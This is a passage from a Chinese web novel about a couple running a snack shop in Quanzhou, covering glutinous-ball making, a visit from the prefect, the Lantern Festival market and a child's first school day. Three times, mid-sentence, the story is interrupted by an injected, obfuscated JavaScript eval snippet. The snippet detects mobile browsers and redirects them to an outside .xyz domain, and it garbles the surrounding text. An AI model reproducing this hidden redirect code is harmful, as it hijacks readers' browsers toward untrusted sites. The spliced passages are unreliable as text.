出于生意人的谨慎，苏月娘向红姑要来了收票，仔细读过上头的每一个字，确认姓名、款项无误之后才还给红姑。 “辛苦了。”苏月娘搭着阿生的肩膀，对着账房先生道别。 —— 次日，早起的第一波客人离开之后，红姑领着阿生上门了。 昨日刚去学堂报了名，今天阿生就已经开始当起了读书人，吃过了一碗花生汤和一块马蹄酥后，阿生也不出去和伙伴们满大街疯跑了，而是举着昨天干爹干娘给他买的书本看。 苏月娘给客人们送完面线糊，见阿生一本正经地盯着《千字文》认真地看着。 “认识几个字啊？看得这么认真？”苏月娘在阿生身边落座。 阿生放下书本，两颊有些红，“好像也不认识几个……” 苏月娘哭笑不得，“没事，干娘认识，你跟我读——” “天地玄黄，宇宙洪荒。日月盈昃，辰宿列张（1）。” 阿生皱着眉，叽里咕噜地跟着苏月娘念了几回，苏月娘听他念得还成，便让他自己巩固巩固，自己去忙别的事情。 等阿生觉得自己学会了苏月娘教的，又顺手拦下出来透透气的许东山往下教了两句。 后来苏月娘和许东山没空了，阿生又捧着书本去找许春喜和林大松，同样不认得几个字的两口子一同看着书本，竟然给出了两种不一样的读音。 于是，两口子还就着谁的回答是正确的争论了一番。 …… 午后闲下来了，阿生兴致勃勃地给要给大家展示一番他今早零零碎碎地学来的东西。 大家围坐在一起，将正中间的位置留给阿生，阿生挺直腰杆，摇头晃脑地背诵了起来。 “天地玄黄，宇宙洪荒。日月盈昃，辰宿列张……” …… “云腾致雨，露结为霜。金生丽水，玉出昆冈。”（2） 虽说阿生只背出了四十八个字，其中还掺杂了不少错误的读音，但是大家伙还是夸赞了阿生就是一个读书的材料，区区一个早上，就零零碎碎地背诵了这么多东西。 红姑更是激动得红了眼睛，直说家里要有读书人了。 “背得真好！姑姑给你做上元圆吃！” 许春喜在家已经琢磨好了上元圆的馅料了，今天许东山托铁匠作的敲馅工具才送来，正好可以试试手。 “太棒了！我初一都没吃够呢！”阿生兴高采烈地拉着许春喜的手要往厨房走，走了一半，阿生忽然想起了他的书，便松开了许春喜的手，返回去将书带上。 大家见阿生这样皆是哭笑不得。 阿生也不太能帮得上什么忙，许春喜就安排他坐在灶边，叫他一边看书，一边顾着柴火。 许东山和林大松已经干了半天的重活了，便没有再进来帮忙，只是让没有那么累的阿平进来搭把手。 “猪油和葱头酥都有了，你就负责把花生炒熟了，再把皮搓掉，然后把花生仁捣碎。”许春喜将花生递给阿平。 “我呢！”苏月娘已经撸好袖子，准备帮忙了。 “店里生意这么红火，咱们就不弄太多花里胡哨的，就单做一样最传统的花生油麻味的……我从浮桥带了一袋干芦柑皮和冬瓜糖，你去拿下来剁碎，越碎越好！” 给苏月娘和阿平布置完任务后，许春喜着手炒起了黑油麻。 油料作物味道的味道总是要浓郁一些的，经过炒制的花生和油麻香味迅速窜了出来，占满了整个厨房。 还在努力念书的阿生闻这味道，还是忍不住走神了。 他的视线从书本上，挪到了正挥动胳膊炒花生的阿平身上，不消多时，花生熟了，阿平取来一个大碗，将花生装了进去。 阿生立即放下了书本，噔噔噔跑上去，凑到阿平的身边，“哥哥，你去歇着吧！我来给花生搓皮！” 任务是许春喜分发下来的，阿平还不肯将这活给阿生干呢。 后方传来许东山的低笑。 “把花生给他吧，你出去歇一歇，等馅调好了，让你敲馅。” 师父发话了，阿平这才将花生递给阿生，阿生笑眯眯地从盆里抓起两粒花生往嘴里一丢，才开始干活。 许东山轻轻捏了捏阿生的脸蛋，“别花生还没捣碎，你就把花生吃光了。” 阿生不好意思地笑了笑。 一旁，苏月娘正在慢条斯理地切干芦柑皮，许春喜交代过这芦柑皮越碎越好，所以她先将这芦柑皮切成细丝，再慢慢地剁碎。 “怎么样？我的刀工是不是比你那个大徒弟厉害？”苏月娘得意地拎起了一条细丝再许东山面前晃了晃。 许东山点了点头，“是比阿平厉害不错……下回就由你这个做师娘的来教导他！” 苏月娘将手边的冬瓜糖往许东山那儿一推，“你来都来了，帮我把冬瓜糖剁碎了。” “好。” 许东山从刀架子上取下了一把趁手的大菜刀，质地不算太硬的冬瓜糖很是轻易地就能被切成小块。 许东山剁着剁着，冬瓜糖的沫子都飞到了苏月娘那儿。 苏月娘皱眉，“你去边上自己拿一块菜板去切！挤死了！” “大冬天的这么冷，两个人挤在一起才暖和。”许东山还就扎根在那儿了。 路过的许春喜在两人背后笑了一声，“我哥难得粘人，你就别嫌弃我哥挤了！你们两口子就好好地贴在一起吧！” 反正两口子也没少被许春喜调侃，如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758201|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今两个人都习惯了，许东山甚至还往苏月娘的身上贴了贴。 苏月娘抬头看了一眼许东山，“……你这人的脸皮也是越来越厚了。” 许春喜去捣油麻了，许东山见身后没了人，快速弯下腰，在苏月娘的脸颊上亲了一口，“好了，你专心切芦柑皮。” 这语气说得好像非黏着人的是她……苏月娘冷哼一声，抬起脚，在许东山的腿上轻轻踢了一脚。 …… 东西备得差不多了，许东山将阿平叫进来热猪油。 花生油麻碎、冬瓜糖碎、芦柑皮碎、白糖、葱头酥倒在了大盆里头，许东山端起大盆，随意晃了几下，盆里的料便被晃均匀了。 阿平热好猪油后，便提着小油锅过来了。 “猪油别下太多，不然一会儿馅不好成形。”许春喜从墙上的勾架上取下一把小锅勺，递给阿平，“这个量的料，大概需要一勺半的猪油。” 阿平小心翼翼地从锅里舀出一勺半的猪油淋在了大盆里。 “哥你不怕烫，等我把料用筷子搅一搅之后，你下手去揉一揉。” 又黄又清澈的猪油还挂在那些料的上面，许东山又晃了晃大盆，语重心长地对阿平说道：“一个合格的厨子要适应高温，这回我先弄着，下回就该你了！” 阿平点头。 许春喜拌了料之后，许东山感受着这些料扑面而来的热气，抿着唇，伸手下去揉料了。 这馅料里头有猪油、花生、油麻以及葱头酥这样油足的东西，许东山一下手，整只手便沾上了一片油光。 “怎么样？这料会不会太稀？” 手下的料可以轻易团成球，且表面泛着糖油黏性，程度刚刚好。 “可以了，春喜你带阿平去敲馅吧！”许东山的手伸起来时，还捏着一小颗油麻灰中含混着花生黄的馅料球，这馅料球，自然是要进到苏月娘的嘴里。 在许东山手里显小的馅料，到了苏月娘的嘴里已经可以微微顶起她一边的腮帮子了。 各样料碎团在一块儿的馅料吃起来颗粒感十足，油而不腻，甜而不齁。 许春喜已经带着阿平在敲馅料了，苏月娘尝完那一小颗馅料后，便拉着许东山的手腕，带他出去清洗手上的残余。 夫妻俩站在水池边，许东山张大碰了馅料的手，等着苏月娘舀水给他冲洗。 苏月娘舀起一大瓢子凉水一口气淋在了许东山的手上。 黏在宽大手掌上的那些料碎随着水流被冲走了，苏月娘双手沾了一点皂荚水，捧着许东山的手慢慢搓了起来。 “你以后可不许为了刻意显摆你的手艺把手伸到这么烫的料里面了！”苏月娘皱着眉头将许东山的手翻来覆去地看了几遍，见许东山的手掌上已经没有了刚伸出盆时的红，她才松了一口气。 许东山没想到苏月娘还注意到了这个，“我也不是刻意显摆……就是习惯了！” “习惯？春喜嫂夸你两句不怕烫你还真的把手伸进去了！”苏月娘搓去了许东山手上的油渍后，狠狠地在他手掌心里抽了好几下，“你再有下次，你自己看着办！” 苏月娘打手的力道不算大，落在手心里还有些发痒。 许东山蜷了蜷手指，垂眸温声道：“不会再有下次了……” 109. 上元圆2 许东山这人还是挺爱干净的，苏月娘给他搓完一遍之后，他又接着自己清了清指甲缝里的油麻碎，再次冲洗过后，许东山将他的手亮给苏月娘。 “再给你看看，一点痕迹都没有了。” 小麦色的宽厚大手上有些许经过风吹雨淋的沟壑，右手虎口有着十余年来被锅勺、菜刀压出的一道痕迹，修剪得不及指尖的指甲边缘平整，底下有一块白色的月牙。 苏月娘扯过挂在窗台上的擦手巾，仔细给许东山擦了擦。 “明明也才二十六岁的人，这手看着得有四五十了……” 许东山听着她的嘀咕，有些苦笑不得，能有几个厨子的手能好看？ 洗过手后，夫妻俩回到厨房看阿平敲馅。 方才许春喜只教了一回，聪明的阿平就已经学会了怎么做。 敲馅料的模具由两部分组成，两部分都是长条形状的，底面皆被磨得光滑似球面，但上下也有不同之处，下部是较粗的深口凹槽，上部是较窄的浅口凹槽。 盛上一勺上元圆的馅料填到下部去，不必将表面刮平整，令其自然地在顶上团出一个小山锥，随后盖上另一部分的模具，使两部分嵌合在一起，举起小锤子，在最上方用力地敲上三下，压实了馅料，抠开下方的小盖，馅料小球便自己滚了出来。 苏月娘只看过售卖上元圆的师父敲馅料，从未自己上手尝试过，等阿平敲了三颗，苏月娘兴致勃勃地接过模具，尝试了一番，阿生见苏月娘敲了，便守在一旁，和苏月娘说好她敲三颗后把模具借给他试一试。 敲馅料不是难事，小锤子也没有什么重量，苏月娘和阿生都能敲出紧实漂亮的上元圆馅料。 一大一小敲得不亦乐乎，阿平也就很有眼力见地去准备一会儿要滚汤圆的糯米粉了。 馅料刚敲了一半，外头来客人了。 没骨头一样地瘫在长椅上歇息的林大松瞧见来人，赶忙坐直起来，“周大人！刘叔！您二位怎么来了？吃点什么？” 过了个年，周伯益的闽南话水平颇有长进，他大致听懂了林大松这句的意思，他摆摆手，问道：“苏头家呢？” 刘昌在一旁翻译道：“周大人有点事情来找月娘。” “月娘！周大人找你！” 苏月娘于“叮叮叮”的敲打声响中依稀听见周大人三字，她将手里的东西往阿生手里一塞，擦了手后便急急忙忙地跑出去了。 “周大人新年好！”苏月娘笑着同周伯益问好，还示意许东山去泡点茶。 大概是周伯益最近听的“新年好”挺多，苏月娘一同他说新年好，他便神色和蔼地回应了一句，“新年好，恭喜发财。” 苏月娘乐了，“刘叔，您教周大人说的？” 刘昌哈哈大笑，“哪用我教？周大人前两日去关帝庙凑了个热闹，回来就会说新年好和恭喜发财了！” 苏月娘看向周伯益，接过许春喜递过来的果盘，推向他，“听说周大人过年时去了福州一趟，想必都没有好好过年吧？” 刘昌与周伯益转达了苏月娘的意思。 周伯益，“连你这个市井小店坐贾都知我去了福州，想必朝廷要重新放宽海贸的事情已经人尽皆知了！” 这话说得太复杂了，苏月娘迷茫地看向刘昌。 刘昌存了心逗她，脸一虎，道：“你知道得太多了！” 苏月娘着实一惊，面露慌张地看向周伯益，周伯益皱着眉看向刘昌，刘昌只好如实托出，“罢了罢了……我逗你的！周大人只是在说朝廷要放宽海贸的事情！” 苏月娘这才松了口气。 周伯益正要说点什么，忽然听见厨房那儿传来了叮叮当当的敲打声，他疑惑地朝厨房望了去，透过递面线糊的小窗，他瞧见阿生和阿平凑在一起，一个护着一根小柱，一个举锤子敲顶。 敲馅料对于这位上任才半年的知府大人来说还是有些新鲜的，他想去一探究竟。 “我进去看看！”周伯益礼貌地同苏月娘说了一声之后，便起身往厨房走。 许东山刚端着茶壶出来，见周伯益同自己点头之后径直入了厨房，他便随手放下东西，随着大家一道跟了进去。 来月娘小吃铺吃了好几次了，但这还是周伯益头一回进到这个做出许多美食的厨房。 相较于规格差不多的百姓家，这厨房确实盖得够大，里头摆着大小不一的五口大锅，没用上的肉和菜摆放在角落那一块特别辟开的地方，案台、灶台上没有多余的食物残渣或者水渍，砖地上也没有油黏痕迹。 周伯益不禁感慨，这家小店不仅头家厨子省得俊俏干净，就连最易脏污的厨房也是一尘不染的。 当真是难得！ “周大人！”阿生听见声响，抬起脑袋朝着周伯益问了一声好。 阿平也是朝着周伯益点头鞠躬。 刘昌主动解释道：“这就是我那倒霉的外甥，他现在是许师傅的徒弟！许师傅和月娘头家可宝贝他了！他现在正在敲上元圆的馅料。” 周伯益饶有兴趣地背着手走上去，阿生看周伯益这样，就又敲了一颗，问道：“周大人你也想敲吗？还有三四颗的量！” 说罢，阿生忍痛将东西递了上去。 对方都这么诚恳地邀请了，周伯益肯定是将东西接了过去，学着他方才的样子挖一勺馅放在深口圆槽里，再盖上另一部分，抓起锤子结结实实地敲了三下。 看着小圆球从底部滚出，周伯益笑了。 等周伯益将剩下的料敲完，也就到了最后一步——滚元宵。 备上一碗清水，和一盆糯米粉，许春喜依次捏起六颗馅料球蘸了水丢进糯米粉中，而后提起大盆两端，摇晃一番使得馅料裹上一层洁白无瑕的糯米粉。 接着取出初步成型的小上元圆，蘸水，再端盆摇晃裹上一层糯米粉，如此重复五六次，一颗白白胖胖又圆滚滚的上元圆就做好了。 许春喜做了两回后，阿生也说要做，于是许春喜将盆给了阿生，叫阿生做了两回。 好似无论是大人还是孩童，见了这种食用面都会走不动道，阿生看了眼面露渴望的周伯益，摇了两回之后，就将盆递给他了。 “大人也做吧。” 于是，这位看看起来仙风道骨的知府大人跟找到了好玩物件一样，十分投入地摇起了上元圆，看着长得边角略崎岖的馅料逐渐被糯米粉包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15767104|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裹为一个圆滚白胖的大上元圆，他想起了自己过往十来年辗转三处任知府，每一处都要花上数年慢慢治理，看着精心经营的任地慢慢变好，他的心里总是十分满足。 两三回过后，所有的馅料都成为了模样标致的上元圆。 “周大人尝一尝自己亲手做出来的上元圆吧！” 周伯益欣然点头。 许东山和林大松留在厨房里煮汤圆，其他人随周伯益出去聊天。 大家就着方才被中断的话题继续聊了起来。 刘昌，“周大人此次过来找你也是与海贸之事有关。” 苏月娘不由得严肃了起来，虽说她不解这种事关一地经济之事与她这样的小生意人有何关系，但是既然周伯益特意为了这事儿来找她，她也得仔细地听着、做着。 朝廷那边的弯弯绕绕太过复杂，刘昌也就没有同苏月娘解释太多，只是尽量往简洁了讲，“重新放开海贸的事情想来你也知道一点，周大人去福州与巡抚了解此事，得知朝廷派出的重臣很快就要到咱们泉州来考察是否要重新放宽海贸。” “但是毕竟是朝廷来人，谁也不知道那人是不是真的只是来考察海贸之事的，所以到时候咱们周大人会带那些个大人入市井行走，叫他们看看泉州的民风民生。” “咱们凤池镇被几座大宫庙包围，来此地察看是最适合不过的了，皆是周大人会带着上门来的大人到你店里吃上一顿！” 苏月娘不由得瞪大了眼睛，“我这店要模样没模样的，做的还是普通的家常吃食……还不若去西街附近的万寿酒家呢！” 刘昌摆手，“都说来探访民生了，去大酒楼吃酒算怎么回事！还是你这种小店最合适！” 接待朝廷来的大人物，对自家小吃铺来说也不失为好事一桩，于是，苏月娘满心忐忑地应下了，她还再三同周伯益嘱咐道： “朝廷的大人若是来了，您可一定要提前知会我们准备，可千万不要打我们个措手不及！” 周伯益的思绪早就飘到厨房里正在煮上元圆的锅里了，对刘昌转达他的话左耳进右耳出。 当锅中的上元圆上浮了，许东山将上元圆连同变白的汤水盛出，每一碗放上五个，再由林大松帮忙端出去。 瞧见自己参与制作的上元圆来了，周伯益中断了谈话，自己从盒里取了一把调羹，等着吃上元圆了。 “怎么？元宵节快到了，你们是不是打算卖上元圆了？”刘昌接过属于自己的那碗上元圆。 苏月娘将糖罐子推向桌子中央，“对，十三开始卖，卖到十六。” “到时候给刘叔留上一些，刘叔拿去送人！” “好！” 这才说了两句话，周伯益已经开始撩起飘逸的嘴须吃上元圆了，怕不能一口吃到馅料，他一口气咬了半个。 内里包含着的滚烫叫周伯益皱了脸，稍微缓过来后，他才开始真正品尝。 半坨馅料在他嘴里被咀嚼，发出了“嘎吱嘎吱”的声响，吃得比阿生还要起劲儿。 周伯益咽下香甜的上元圆后，离得近一些的许东山好像还听见了轻微的喟叹声。 果然，东西还是得自己做的更香。 110. 逛灯市 周伯益未曾明说朝廷的大人何时会过来，苏月娘也就只是因为这事儿忐忑开心了半日，便将这事儿抛之脑后了。 白白胖胖的上元圆才是首要。 上元圆和糖粿、冬至丸一样，年节才会吃一次，家家户户都会在上元节自己做一些或者是花钱买一些。 苏月娘可不指着这点上元圆挣多少钱，只是想着年兜还没过完，店里总要卖点年兜会吃的东西，这样看着才热闹一些。 过了个年，月娘小吃铺并没有被从前那些每日过来排队的客人遗忘，熟客们陆陆续续地登门吃饭，得知店里卖起了上元圆，纷纷提前捧场。 有的要了煮熟的堂食，有的捧来自家的碗带走了生的回家煮或是送人。 在泉州城较为繁华的几处地方，每每至元宵节，与上元圆一起提起的还有每年一度的灯市。 苏月娘给食客们送上元圆时还听了一耳朵。 “听说今年的灯笼已经都准备得差不多了，就等十五早上挂上去了！” “灯笼还是挂在原先的那几条街上吗？” “也就那几条街能挂灯！我家孩子一直记着十五要逛灯市，早两天就央着我十五晚上带他出门！” 堂屋里人太多，苏月娘也不方便站在堂屋里问询灯市的事情，只能等待客人稍少了，才向许东山问起这事儿。 早上准备的上元圆已经卖得一个不剩了，刚结束中午饭点的事情，许东山又马不停蹄地将生花生倒到洗好的大锅里去炒。 苏月娘不急着出去洗碗，先坐在灶边剥一颗年前买的芦柑润润嗓子，不规则的芦柑皮被苏月娘丢进灶膛里，没过多久，燃烧的芦柑皮发出“滋滋啦啦”的爆裂声响，一股烧糊的橘香从灶膛里飘了出来。 “刚刚送上元圆的时候听大家都在说灯市，这灯市在哪？” 许东山，“灯市离这里不远，土门街、西街、新门都有……灯市挺热闹的，你要是感兴趣，十五那天我们早点关门，出去凑个热闹！” 清河镇较为偏僻，未曾有过如此热闹，苏月娘从未在元宵节夜里去逛过灯市。 “行！咱们一家人十五晚上一起出去逛逛！”苏月娘站了起来，将吃不下的半颗芦柑一股脑地塞在了许东山的嘴巴里后，便欢欢喜喜地去找大家伙宣布这件事情。 徒留嘴巴被半个芦柑塞地说不出话的许东山站在大锅前苦哈哈地翻炒着花生。 —— 元宵佳节，阖家团圆之日，傍晚的客人并不算多，东西卖完了，天还没黑。 大家各吃了一碗上元圆饱腹之后，便带上哦屁出发去灯市了。 一出家门，便能瞧见同样急着上街去瞧灯的厝边们脚步匆匆地往镇头赶，苏月娘见大家伙兴致如此高便知道此处的灯市定然差不了。 身旁的妻子隐约有了要疯跑出去的架势，许东山一把拉住了她的胳膊，并且顺带扭过头对阿平道：“你紧紧跟着我和你师娘！你要是走丢了，我们可不会去把你找回来！” 阿平赶紧点头。 元宵夜的风不小，吹得苏月娘特意簪上的流苏叮铃作响，被厚实衣裳包得严严实实的哦屁趴在苏月娘的怀里兴致勃勃地往前望，即使寒风吹得它睁不开眼了，它也依旧愉悦地哼哼着。 走到了镇头，天色已变得昏暗，苏月娘抬头便看见了前方的一片人头攒动、灯火通明。 “那就是灯市吗？” “算是灯市的尾巴，还要走过上次买蜜饯的那个地方才是最热闹的，灯市里有卖很多吃的、玩的，一会儿可以去看看！”许东山放慢了脚步，等红姑和阿生走到前头去，他才继续挪动脚步。 步行两刻钟，一行人顺利挤入了灯市最繁华的地方。 泉州的灯市乃是官府牵头举办，街市两边所悬挂的灯笼都是民间工匠花费无数个日夜制作出来的，掐骨架、掐丝、制灯身、彩绘，每一道工序都经过工匠们的千雕万琢。 也就是如此，寒冷的元宵夜里，泉州的街市才能成为一条流动的璀璨灯河。 花灯悬挂得不算太高，苏月娘这样的个头只需抬起头，便能看见花灯上的彩绘与纸雕。 民间艺人们将民间广为流传的故事呈现在灯笼上，如好似一眨眼间就要越过龙门的鲤鱼、仙姿飘逸的渡海八仙、被鞭炮吓得大惊失色的“年”、手持乾坤圈脚踩风火轮大闹东海龙宫的三太子…… 在苏月娘与阿生兴致勃勃地交流花灯上的内容时，个头极高的许东山正低着头，微微俯背，以免自己的脑袋将花灯撞坏。 阿平看花灯看得目不转睛之余，还听到了一阵婉转咿呀的柔美乐声，他正四处寻找这声音的源头时，前头的苏月娘已经抱上哦屁走出了悬挂花灯的连廊。 “阿平，跟上！”许东山赶紧追了过去。 苏月娘走到了街中央，凑在人群外围瞧见了被包围在内表演南音（1）的五位女子。 南音词曲皆雅，五位女子坐在木头椅子上，腰背笔挺，各自使用各自的乐具，其乐具形制较为独特—— 横抱着的南音琵琶似胖梨；粗短洞箫十目九节；二弦三弦远看相似实则大有不同；握于手间的四宝拍板在手掌张合之间发出圆润声响……（2） 南音传承已久，保留了泉州最原始的话语，苏月娘在鼎沸人声之中仔细听着细腻典雅、古朴婉转的南音，只听懂了一小半。 后来还是问了人，才知道唱的这一出是《元宵十五》。 此曲出自《陈三五娘》。 苏月娘拉了拉许东山的手，许东山朝她弯下腰，将耳朵贴近她。 “阿山，你还记得我们成婚前看过的那场戏吗？” 许东山点头，“记得，在普渡，那晚的戏和今晚的曲子出自同一个故事。” 哦屁好像对爹娘的话很感兴趣，他从苏月娘怀里抬起头，睁着圆圆的眼睛疑惑地看着许东山，好似在委屈地控诉为什么爹娘看戏不带它？ 许东山拍了拍狗头，“看什么看？那时候还没有你！” …… 咿咿呀呀的南音比较不好听懂，苏月娘看了个热闹之后，便叫上大家伙一起走了。 又走了一截，林大松对着大家伙招手大喊，“春喜要不要过来看看妆糕人！要不要过来挑一个！” “月娘阿生阿平过来！林大松请客！”许春喜喊上三人一起去摊子上挑选妆糕人。 宰林大松一次的机会可不多，苏月娘赶紧叫上两个孩子一起凑上去选妆糕人（3）。 摊子上已经被大大小小的孩子围得水泄不通了，好在林大松这个人脸皮极厚，硬是挤开了两个小孩子抢到了一个位置。 许春喜看那两个小孩瘪着嘴就要哭，连忙递上刚买的糖哄他们，并且骂了林大松两句。 息事宁人之后，林大松让出了位置，让阿生和阿平先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771850|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去挑喜欢的妆糕人。 阿生刚刚看了画了哪吒三太子的花灯，此时便挑选了一个比他巴掌略大一点的哪吒小人，而阿平客气一些，看了一番，选了一个价钱最便宜的小猪糕。 林大松见了，啧啧了一声，抓起阿平看了好几眼却又不舍得拿的大将军糕人塞给他，“你这小子跟我客气什么！这么见外！” 阿平看着手里那栩栩如生的大将军糕人，两耳有些发红。 两个孩子挑完，苏月娘和许春喜才过来挑，一个选了长得很喜庆的招财童子，一个挑了身姿美妙的奔月嫦娥，当然，哦屁也没被忘记，它得到了一只小黑狗糕。 原来只打算给许春喜买一个的林大松忍痛付了六个妆糕人的钱。 苏月娘还弯着眼睛，对着林大松甜笑，“谢谢哥，你破费了！” —— 十六是阿生上学堂的日子，除了难得出来一次的林大松夫妇以外，其他几人将土门街的灯市逛了一遍后便打道回府了。 原路返回之时，阿生恋恋不舍地看着这满街繁华，他一点都不想离开这一年才有一次的元宵灯市。 途径方才听南音的地方，唱南音的女子已经不见的，取而代之的是一台木偶戏。 阿生听见路人说那儿在演提线木偶（4），便撅起嘴巴，委屈巴巴地央求阿嬷让他多留一会儿。 红姑到底是心软了，同意再留一刻钟。 围在提线木偶戏台外的人实在是太多，为了不让阿生留有遗憾，许东山将阿生抱了起来，让他的视线能够与自己的齐平。 台上演的是孙悟空大闹天宫，莫看孙悟空木偶还没有小臂长，但它却被几十甚至上百根结实的细线操控，每一根线能够提起一个关节，甚至于是手指，都有专门的线来控制。 看着悟空一番跳转翻越、腾云驾雾，与天兵天将打斗、甚至拾起置放在台面上的额金箍棒，阿生忍不住瞪大了眼睛，用力地鼓掌。 一刻钟之后，阿生很是自觉地从许东山的怀里跳了下来，牵上红姑的手要回家了。 已经开始犯困的阿平也同师父师娘道了别，牵上阿生递过来的手离开了。 总算能够两个人，外加一条已经睡着得不知天地为何物的小狗独处了，许东山面上的笑意多了几分。 等苏月娘又看了一出“嫦娥奔月”，才打着哈欠，要许东山带她回家。 怕苏月娘手酸，许东山将呼呼大睡的哦屁单手抱着，另一只空出的手紧紧牵着苏月娘，小两口走在灯火通明的长街里，穿过人群，扫过花灯。 直到脚下的路变得暗淡了，苏月娘才警觉身旁已经没有了明亮的花灯，只有天上皎洁的月亮为自己照路。 苏月娘回想今晚的热闹，由衷道：“灯市真好，明年我还想来……” 今夜的灯市固然热闹，可许东山大多数时间都在看着对什么都新奇的苏月娘，即便是这样，他也已经满足了。 原因无他，只因身边人是所爱。 “年年我都陪你来。” 苏月娘笑着应了一声好，见四下无人，还踮起脚尖，在许东山的侧脸上吻了一口。 就好似成亲之前，他背着她走夜路归家。 许东山反应极快地转过头，回吻了一下。 十五夜里，身后灯市依旧喧闹，而身边是要携手一生的爱人。 愿来年灯河依旧，明月常随。 111. 老鼠肉汤（猪腱子） （注：下面的老鼠肉是猪腱子肉的昵称，不是真的老鼠） 俗话说得好，过了十五，泉州的年才算过完。 年兜的热闹在元宵夜的灯市被推到了最高点，又在一夜之间，落回了年前的平淡，人们像从前一样，天没亮就开工。 今天是阿生上学的第一日，一向习惯天亮了再出房门的苏月娘特意与许东山一同起，再好好梳妆一番，这样一会儿送阿生去上学的时候才会让人知道阿生家里的大人也是讲究的。 离开房间之前，苏月娘弯身摆弄一番昨夜回来后便被插在装簪子的瓶子里的妆糕人。 红衣红裤肉脸颊看着很是喜人，若是招财童子手里的大元宝能变成真的，那就更讨人喜欢了。 …… 学堂离这儿还算有一段距离，且不负责学生的膳食，所以阿生的午饭还得他自己带去。 苏月娘这会儿出去忙活的就是阿生的午饭，这孩子的饭量不算太大，但也不能因此就糊弄着准备，至少一荤一素是必要的。 小小的炖汤盅里放上一把米，添上没过一指节的水，放在小锅里蒸，就成了阿生的主食。 另外做上一点葱炒菜花和小炒猪肉，这样的配菜看着还是太少，于是苏月娘在厨房里翻来找去，最后盯上了台子上的面线糊配料。 她端着盛了八分满的食盒朝着许东山走去，“你夹个煎蛋包和几块醋肉把盒子填满了。” 许东山一边照做，一边问道：“你准备这么多，阿生吃得完吗？” “吃不下总比吃不够来得强……再说了，同窗这么多，纵使免不得你吃我的，我吃你的，多准备一点也是应该的！” 等许东山将食盒装满了，苏月娘才满意地盖上盖子。 今天，红姑祖孙是和吴头家祖孙一块儿进门的。 阿生身上挎着红姑过年闲暇时给他缝的小书袋，雄赳赳气昂昂地跑到厨房门边和干爹干娘、姑姑姑父还有阿平问好。 苏月娘晃了晃手里的食盒，“你的菜已经准备好了！一会儿等饭熟了，我再一起帮你装到书袋里。” “谢谢干娘！” 两对祖孙坐在一块儿吃早餐，阿墩对阿生这个比自己小一岁的新同窗有些感兴趣，花生汤都没喝上几口，就光顾着叽叽喳喳地问阿生话。 后来吴头家被吵得受不了了，抬手捶了阿墩一下，这孩子才老实下来。 天快要亮了，两个孩子的早饭也吃得差不多了，许东山将事情委托给了妹妹妹夫还有大徒弟，便与苏月娘、红姑一起送阿生上学。 与吴头家一起走到了干货行门口，吴头家朝阿墩摆摆手，“你认真读书！散学了早点回家！” 已经上了半年学的阿墩已经能够自己上下学了。 也就是认识了一个新的同窗，阿墩才放慢了脚步。 两个孩子年纪相仿，都是外向的性子，凑在一块儿谈天说地，从一严一松的两先生一直说到了学堂柴火房里给大家热饭的阿婆。 大人们听着他们的热闹，只觉得自己也年轻了好几岁。 到了学堂，天已经亮透了，已经读了几年书的学生揣着书本面无表情地入了大门，而今年才来的孩子们有的没心没肺地飞跨过膝盖那样高的门槛去上第一堂课，有的还赖在长辈的怀里哭得说不出话。 许东山和苏月娘担忧地看向阿生，见阿生神情自若，两人才松了一口气。 红姑蹲下，抱了抱孙子，语重心长道：“你要认真一点听先生的话，中午吃饭吃慢一点，不要噎到了！” 一边的阿墩拍了拍胸脯，“阿生的阿嬷你放心，我是哥哥，我会帮你照顾好阿生的！” 大人们失笑。 而后，阿墩和阿生肩并肩走进了学堂了，跨进门槛后，阿生不忘回头和大人们挥手道别。 此情此景，苏月娘和红姑竟然还激动得眼角冒泪花。 —— 虽说平常开门做生意的时候阿生都在大街上和小伙伴们疯跑，压根见不着人影，但是月娘小吃铺里的众人还是难免觉得心里空了一块。 尤其是红姑和苏月娘，只要一闲下来，两个人就坐在一起胡思乱想，不是担心阿生和同窗们相处得不好，就是忧心阿生会听不懂夫子讲课。 后来许春喜越听越觉得阿生会碰上什么困难，便和两人凑在一起此起彼伏地叹息。 厨房里的林大松还和阿平凑在一起嘀咕道：“真搞不懂她们仨在担心什么，我们阿生这么聪明，能碰见什么麻烦？” 阿平一边剁蒜蓉，一边敷衍地点了点头。 其实他也担心阿生，只是不好意思也不会说话，才没有出去参与师娘她们的讨论。 许东山洗净了傍晚要卖的鸭子，听见大家伙的议论，他叹了口气，转身从钱匣子里掏出了一把铜板揣进兜里。 “我要出去买点老鼠肉（猪腱子肉）给阿生补一补，月娘你去吗？” 这种事情苏月娘自然是会跟去的。 “顺便买点好菜庆祝我们阿生上学堂！” 